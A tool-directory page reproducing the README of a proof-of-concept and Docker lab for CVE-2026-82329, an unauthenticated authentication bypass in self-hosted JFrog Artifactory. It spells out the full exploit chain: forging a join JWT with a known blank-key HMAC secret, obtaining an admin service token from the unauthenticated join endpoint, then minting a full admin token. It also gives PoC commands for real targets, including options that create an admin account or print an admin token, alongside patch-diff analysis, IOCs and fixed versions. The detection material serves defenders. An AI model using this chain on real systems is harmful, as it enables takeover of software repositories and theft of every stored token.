Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-82329-jfrog-artifactory — Reproducible Docker lab and Python PoC for CVE-2026-82329, an unauthenticated auth-bypass in JFrog Artifactory leading to admin takeover, with patch-diff analysis and detection guidance. | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCloud SecurityAuthenticationPapers & ResearchLabs & Practice
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Reproducible Docker lab and Python PoC for CVE-2026-82329, an unauthenticated auth-bypass in JFrog Artifactory leading to admin takeover, with patch-diff analysis and detection guidance.

View Repository
124271 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82329 — JFrog Artifactory unauthenticated auth bypass → admin takeover

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · disclosed 2026-08-28 · exploited in the wild.

An unauthenticated, network-adjacent attacker mints a platform administrator access token against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker lab and a URL-parameterised validator PoC.

Reproduced and A/B-verified on artifactory-oss 7.161.19 (vulnerable, JFrog Access 7.191.11) vs 7.161.20 (patched, JFrog Access 7.191.14).

Root cause was derived from the vendor patch itself (bytecode diff of the closed-source JFrog Access service between the two container images), then proven live — not taken from any third-party write-up.


TL;DR exploit chain (all unauthenticated)

  1. Forge a cluster "join" JWT. JFrog Access verifies join JWTs with the platform join key used as an HMAC secret. A bug leaves a blank join key in the trusted verifier set on a default install. getSigningKey("") = pkcs7(<empty>, 32) = 32 bytes of 0x20 — a fully known secret. So anyone can sign a valid join JWT (alg=HS256, kid = SHA256(""), fresh iat, any service_id, skip_node_registration=true).
  2. POST /access/api/v1/registry/join (RegistryNoAuthResource — no authentication) → HTTP 201, returns a SERVICE token with scope admin (audience = Access).
  3. POST /access/api/v1/tokens with that token, scope=applied-permissions/admin&audience=* → a full admin platform access token (this is the "minting admin tokens" behaviour reported in the wild).
  4. Use it — read the entire server configuration, list/steal every access token, and on Pro/Enterprise create admin users, repositories, etc.
$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1  /registry/join           -> HTTP 201  SERVICE token minted (scp=admin)
[+] Step 2  /access/api/v1/tokens    -> HTTP 200  ADMIN token (scp=applied-permissions/admin, aud=*)
[+] Step 3  proof of admin capability:
      GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
      GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
[=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).

Root cause (from the patch diff)

JFrog Access 7.191.11 → 7.191.14 changed exactly 12 classes. The security-relevant ones:

1. Blank join key silently trusted — JoinKeyAccess.tryResolveJoinKeys()

// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
    JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" allowed
    joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // blank key added to trusted set
    log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});

// PATCHED (7.191.14)  -> blank entries filtered out
Arrays.stream(joinKey.get().split(",")).map(String::trim)
      .filter(Strings::isNotBlank)
      .forEach(...);

With no additional join keys configured (the default), the config value is ""; "".split(",") yields [""], so a blank JoinKeyHashPair (kid = SHA256("") = e3b0c442…b855) enters the trusted "additional join keys" map. JoinKeyHashPair was also hardened to reject null/blank in the constructor.

Confirmed on the live default instance — server startup log:

o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys

That kid is exactly SHA256("").

2. The blank join key is a known HMAC secret — JoinKeyUtils.getSigningKey()

public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7 padding of an EMPTY key: padLength = 32  ->  32 bytes, each == (byte)32 == 0x20

So the join JWT for the blank key is signed with HS256 over 32 bytes of 0x20 — attacker-known.

3. The unauthenticated join endpoint mints an admin token

RegistryNoAuthResource (@Path("/v1/registry"), no @Authorized):

@POST @Path("join")
public Response join(String jwtStr) {                    // body = the raw JWT
    JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (<30s) + join-key signature
    return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}

JoinServiceImpl → ServiceTokenProviderImpl.getToken():

TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
    .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();

A non-expiring, admin-scoped, RSA-signed access token. The scope("admin") service token is then allowed to mint a full applied-permissions/admin user token via POST /access/api/v1/tokens.

4. Corroborating hardening — ProjectResource

Two endpoints moved @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confirming the exploit primitive is a forged SERVICE identity and that SERVICE-authorized surface was over-exposed.


Affected / fixed versions

Self-hosted only (cloud already patched). Vulnerable ≤ the last release in each branch below; upgrade to the paired fix:

BranchVulnerable ≤Fixed
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20

The fix ships JFrog Access 7.191.14.


Reproduce (lab)

See lab/README.md. In short:

cd lab
ART_VER=7.161.19 docker compose up -d          # vulnerable (default); wait ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERABLE

docker compose down
ART_VER=7.161.20 docker compose up -d          # patched control
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NOT VULNERABLE (join HTTP 400)

Artifactory 7.161.x requires PostgreSQL (its Access service refuses the bundled Derby), so the lab includes a postgres sidecar.


Validate a real target

python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # Pro/Ent state change
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # print an admin token

Point it at whatever front-ends the JFrog Router (/access/… reachable). It reports VULNERABLE (admin obtained) or NOT VULNERABLE (join rejected). Only run against systems you are authorised to test.


Detection / IOCs

  • Access request log: POST /access/api/v1/registry/join from non-cluster hosts, especially followed immediately by POST /access/api/v1/tokens.
  • Access service log: the line Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … means the blank join key is trusted (present on unpatched defaults).
  • Access audit / token store: unexpected non-expiring tokens with scope=applied-permissions/admin, audience=*, or service-subject admin tokens (sub=<svc>, scp=admin, aud=<access-id>).
  • Join JWTs whose kid claim equals SHA256("") (e3b0c442…b855).

Remediation

Download Tool